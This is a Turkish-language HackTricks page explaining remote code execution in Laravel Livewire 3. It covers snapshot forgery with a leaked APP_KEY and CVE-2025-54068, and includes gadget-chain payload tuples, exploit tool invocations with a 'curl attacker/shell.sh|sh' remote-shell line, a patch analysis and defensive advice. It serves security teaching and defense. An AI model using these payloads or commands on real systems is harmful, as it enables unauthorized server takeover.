Laravel Livewire Hydration & Synthesizer Abuse
Tip
AWS Hacking öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
Değerlendirme yolları (ARTA/GRTA/AzRTA) ve Linux Hacking Expert (LHE) için tam HackTricks Training kataloğuna göz atın.
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna, telegram grubuna katılın, X/Twitter üzerinde @hacktricks_live hesabını takip edin veya LinkedIn sayfasını ve YouTube kanalını kontrol edin.
- HackTricks ve HackTricks Cloud github depolarına PR göndererek hacking tricks paylaşın.
Livewire state machine özeti
Livewire 3 bileşenleri, data, memo ve bir checksum içeren snapshots üzerinden durumlarını değiş tokuş eder. /livewire/update adresine yapılan her POST, JSON snapshot’ını sunucu tarafında yeniden hydrate eder ve sıraya alınmış calls/updates işlemlerini çalıştırır.
class Checksum {
static function verify($snapshot) {
$checksum = $snapshot['checksum'];
unset($snapshot['checksum']);
if ($checksum !== self::generate($snapshot)) {
throw new CorruptComponentPayloadException;
}
}
static function generate($snapshot) {
return hash_hmac('sha256', json_encode($snapshot), $hashKey);
}
}
APP_KEY’i elinde tutan herkes ( $hashKey türetmek için kullanılan) dolayısıyla HMAC’i yeniden hesaplayarak keyfi snapshots forge edebilir.
Complex properties, Livewire\Drawer\BaseUtils::isSyntheticTuple() tarafından tespit edilen synthetic tuples olarak kodlanır; her tuple [value, {"s":"<key>", ...meta}] şeklindedir. Hydration core, her tuple’ı HandleComponents::$propertySynthesizers içinde seçilen synth’e basitçe devreder ve çocuklar üzerinde recursive olarak ilerler:
protected function hydrate($valueOrTuple, $context, $path)
{
if (! Utils::isSyntheticTuple($value = $tuple = $valueOrTuple)) return $value;
[$value, $meta] = $tuple;
$synth = $this->propertySynth($meta['s'], $context, $path);
return $synth->hydrate($value, $meta, fn ($name, $child)
=> $this->hydrate($child, $context, "{$path}.{$name}"));
}
Bu recursive tasarım, Livewire’i bir generic object-instantiation engine haline getirir; bir attacker tuple metadata üzerinde ya da recursion sırasında işlenen herhangi bir nested tuple üzerinde kontrol sahibi olduğunda.
Gadget primitive’leri veren Synthesizer’lar
| Synthesizer | Attacker-controlled behaviour |
|---|---|
CollectionSynth (clctn) | Her child’ı yeniden hydrate ettikten sonra new $meta['class']($value) oluşturur. Array constructor’a sahip herhangi bir class yaratılabilir ve her item kendi içinde synthetic tuple olabilir. |
FormObjectSynth (form) | new $meta['class']($component, $path) çağırır, ardından $hydrateChild üzerinden attacker-controlled child’lardan her public property’yi atar. İki loosely typed parameter kabul eden (veya default arg’lı) constructor’lar, arbitrary public property’lere ulaşmak için yeterlidir. |
ModelSynth (mdl) | key meta içinde yoksa return new $class; çalıştırır ve attacker kontrolündeki herhangi bir class’ın zero-argument instantiation’una izin verir. |
Synth’ler her nested element üzerinde $hydrateChild çağırdığı için, tuple’lar recursive olarak üst üste yığılınca arbitrary gadget graph’ler inşa edilebilir.
APP_KEY biliniyorsa snapshot forgery
- Geçerli bir
/livewire/updaterequest’i yakala vecomponents[0].snapshotdeğerini decode et. - Gadget class’lara işaret eden nested tuple’lar enjekte et ve
checksum = hash_hmac('sha256', json_encode(snapshot_without_checksum), APP_KEY)değerini yeniden hesapla. - Snapshot’ı yeniden encode et,
_token/memoalanlarını değiştirme, ve request’i replay et.
Minimal bir execution proof, Guzzle’s FnStream ve Flysystem’s ShardedPrefixPublicUrlGenerator kullanır. Bir tuple, constructor data { "__toString": "phpinfo" } ile FnStream oluşturur; sonraki tuple, $prefixes için [FnStreamInstance] ile ShardedPrefixPublicUrlGenerator oluşturur. Flysystem her prefix’i string’e cast ederken, PHP attacker-provided __toString callable’ını invoke eder ve argumentsiz herhangi bir function’ı çağırır.
Function call’lardan tam RCE’ye
Livewire’ın instantiation primitive’lerinden yararlanan Synacktiv, phpggc’nin Laravel/RCE4 chain’ini uyarlayarak hydration’ın public Queueable state’i deserialization tetikleyen bir object boot etmesini sağladı:
- Queueable trait –
Illuminate\Bus\Queueablekullanan herhangi bir object, public$chainedalanını expose eder vedispatchNextJobInChain()içindeunserialize(array_shift($this->chained))çalıştırır. - BroadcastEvent wrapper –
Illuminate\Broadcasting\BroadcastEvent(ShouldQueue), public$chaineddoldurulmuş haldeCollectionSynth/FormObjectSynthüzerinden instantiate edilir. - phpggc Laravel/RCE4Adapted –
$chained[0]içinde saklanan serialized blob,PendingBroadcast -> Validator -> SerializableClosure\Serializers\Signedyapısını kurar.Signed::__invoke()sonundacall_user_func_array($closure, $args)çağırır vesystem($cmd)çalıştırılmasını sağlar. - Stealth termination – ikinci bir
FnStreamcallable’ı, örneğin[new Laravel\Prompts\Terminal(), 'exit'], verildiğinde request gürültülü bir exception yerineexit()ile biter ve HTTP response temiz kalır.
Snapshot forgery’yi otomatikleştirme
synacktiv/laravel-crypto-killer artık her şeyi birleştiren bir livewire mode ile geliyor:
./laravel_crypto_killer.py exploit -e livewire -k base64:APP_KEY \
-j request.json --function system -p "bash -c 'id'"
Araç, yakalanan snapshot’u ayrıştırır, gadget tuple’larını enjekte eder, checksum’u yeniden hesaplar ve gönderilmeye hazır bir /livewire/update payload’ı yazdırır.
CVE-2025-54068 – APP_KEY olmadan RCE
Vendor advisory’ye göre, issue Livewire v3’ü etkiler (>= 3.0.0-beta.1 ve <= 3.6.3) ve yalnızca v3’e özeldir.
updates, snapshot checksum’u doğrulandıktan sonra component state’e merge edilir. Eğer snapshot içindeki bir property bir synthetic tuple ise (veya synthetic tuple haline gelirse), Livewire attacker-controlled update value’yu hydrate ederken onun meta’sını yeniden kullanır:
protected function hydrateForUpdate($raw, $path, $value, $context)
{
$meta = $this->getMetaForPath($raw, $path);
if ($meta) {
return $this->hydrate([$value, $meta], $context, $path);
}
}
Exploit recipe:
- Typed olmayan bir Livewire component bulun ve public property’si olsun (örn.
public $count;). - O property’yi
[]olarak ayarlayan bir update gönderin. Sonraki snapshot artık onu[[], {"s": "arr"}]olarak saklar.
Minimal bir type-juggling akışı şöyle görünür:
POST /livewire/update
...
"updates": {"count": []}
Sonra sonraki snapshot, arr synthesizer metadata’sını koruyan bir tuple saklar:
"count": [[], {"s": "arr"}]
- Başka bir
updatespayload’ı hazırlayın; bu kez property,[ <payload>, {"s":"clctn","class":"GuzzleHttp\\Psr7\\FnStream"} ]gibi tuple’ları gömen derin iç içe bir array içersin. - Recursion sırasında
hydrate(), her nested child’ı bağımsız olarak değerlendirir; bu yüzden saldırganın seçtiği synth key’leri/classes kabul edilir, outer tuple ve checksum hiç değişmemiş olsa bile. - Aynı
CollectionSynth/FormObjectSynthprimitive’lerini yeniden kullanarak$chained[0]içinde phpggc payload bulunan bir Queueable gadget instantiate edin. Livewire forged updates’i işler,dispatchNextJobInChain()çağırır veAPP_KEYbilmedensystem(<cmd>)noktasına ulaşır.
Bu çalışmanın temel nedenleri:
updates, snapshot checksum ile korunmaz.getMetaForPath(), o property için daha önce hangi synth metadata’sı varsa ona güvenir; saldırgan, zayıf typing üzerinden bunu tuple’a zorla dönüştürmüş olsa bile.- Recursion ve zayıf typing, her nested array’in yeni bir tuple olarak yorumlanmasına izin verir; böylece keyfi synth key’leri ve keyfi classes sonunda hydration’a ulaşır.
Yüksek değerli pre-auth hedef: Filament login forms
Livewire üzerinde kurulu applications, çoğu zaman basit bir public $count; property’sinden bile daha kolay bir pre-auth yüzey açar. Örneğin Filament login pages, snapshot içinde zaten form tuple’ı olarak serialize edilmiş, zayıf typed bir $form object’i hydrate eder. Bu, “scalar -> array -> arr tuple” hazırlık adımını tamamen ortadan kaldırır:
- Snapshot zaten şuna benzer bir şey içerir:
{"form":[{...},{"s":"form","class":"App\\Livewire\\Forms\\LoginForm"}]} - Saldırgan,
updates.formile nested malicious tuples’ları doğrudan gönderebilir; çünkü recursion sonunda[payload, {"s":"clctn","class":"GuzzleHttp\\Psr7\\FnStream"}]gibi children’ları yeniden yorumlayacaktır. - Bu yüzden
FormObjectSynthobjects açığa çıkaran pre-auth Livewire entrypoints özellikle caziptir: zaten hem instantiation hem de public-property assignment sağlarlar.
Patch analysis: update recursion sırasında raw metadata’yı koru
Fix, özel bir hydratePropertyUpdate() yolu ekler; böylece nested update values artık saldırgan kontrolündeki children üzerinde genel hydrate($child, ...) çağırmaz:
protected function hydratePropertyUpdate($valueOrTuple, $context, $path, $raw)
{
if (! Utils::isSyntheticTuple($value = $tuple = $valueOrTuple)) return $value;
[$value, $meta] = $tuple;
$synth = $this->propertySynth($meta['s'], $context, $path);
return $synth->hydrate($value, $meta, function ($name, $child) use ($context, $path, $raw) {
return $this->hydrateForUpdate($raw, "{$path}.{$name}", $child, $context);
});
}
Yamanın güvenlik etkisi:
- Nested updates, taze attacker-supplied tuple metadata’ya güvenmek yerine orijinal raw snapshot path’e karşı yeniden doğrulanır.
- Recursive hydration artık çocukların
sveyaclassdeğerlerini işlem sırasında yeniden tanımlamasına izin vermez. - Bu, hem arbitrary synthesizer switching hem de nested update arrays içinde arbitrary class selection saldırılarını engeller.
Livepyre – end-to-end exploitation
Livepyre hem APP_KEY-less CVE’yi hem de signed-snapshot path’ini otomatikleştirir:
- Dağıtılmış Livewire sürümünü
<script src="/livewire/livewire.js?id=HASH">(veya?v=HASH) ayrıştırarak parmak iziyle belirler ve hash’i vulnerable releases ile eşler. - Masum işlemleri yeniden oynatarak ve
components[].snapshotalanını çıkararak baseline snapshots toplar. - Ya
updates-only payload (CVE-2025-54068) ya da phpggc chain’i gömülü forged snapshot (known APP_KEY) üretir. - Bir snapshot içinde object-typed bir parametre bulunmazsa, Livepyre coercible bir property’ye ulaşmak için aday parametreleri brute-force etmeye geri döner.
Tipik kullanım:
# CVE-2025-54068, unauthenticated
python3 Livepyre.py -u https://target/livewire/component -f system -p id
# Signed snapshot exploit with known APP_KEY
python3 Livepyre.py -u https://target/livewire/component -a base64:APP_KEY \
-f system -p "bash -c 'curl attacker/shell.sh|sh'"
-c/--check yıkıcı olmayan bir probe çalıştırır, -F version gating’i atlar, -H ve -P özel headers veya proxies ekler ve --function/--param gadget chain tarafından çağrılan php function’ını özelleştirir.
Defensive considerations
- Düzeltmesi yapılmış Livewire builds’e yükseltin (vendor bulletin’e göre >= 3.6.4) ve CVE-2025-54068 için vendor patch’i dağıtın.
- Livewire components içinde zayıf tiplenmiş public properties kullanmaktan kaçının; açık scalar types, property values’un array/tuple’lara coerced edilmesini engeller.
- Yalnızca gerçekten ihtiyaç duyduğunuz synthesizers’ları register edin ve user-controlled metadata’yı (
$meta['class']) untrusted olarak değerlendirin. - Bir property’sinin JSON type’ını değiştiren updates’i (ör. scalar -> array) açıkça izin verilmedikçe reddedin ve eski tuples’ı yeniden kullanmak yerine synth metadata’yı yeniden türetin.
- Herhangi bir disclosure sonrasında
APP_KEY’i hemen rotate edin; çünkü code-base ne kadar patched olursa olsun offline snapshot forging’i mümkün kılar.
References
- Synacktiv – Livewire: Remote Command Execution via Unmarshaling
- synacktiv/laravel-crypto-killer
- synacktiv/Livepyre
- GHSA-29cq-5w36-x7w3 – Livewire v3 RCE advisory
- livewire/livewire commit
ef04be7– Fix property update hydration
Tip
AWS Hacking öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
Değerlendirme yolları (ARTA/GRTA/AzRTA) ve Linux Hacking Expert (LHE) için tam HackTricks Training kataloğuna göz atın.
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna, telegram grubuna katılın, X/Twitter üzerinde @hacktricks_live hesabını takip edin veya LinkedIn sayfasını ve YouTube kanalını kontrol edin.
- HackTricks ve HackTricks Cloud github depolarına PR göndererek hacking tricks paylaşın.


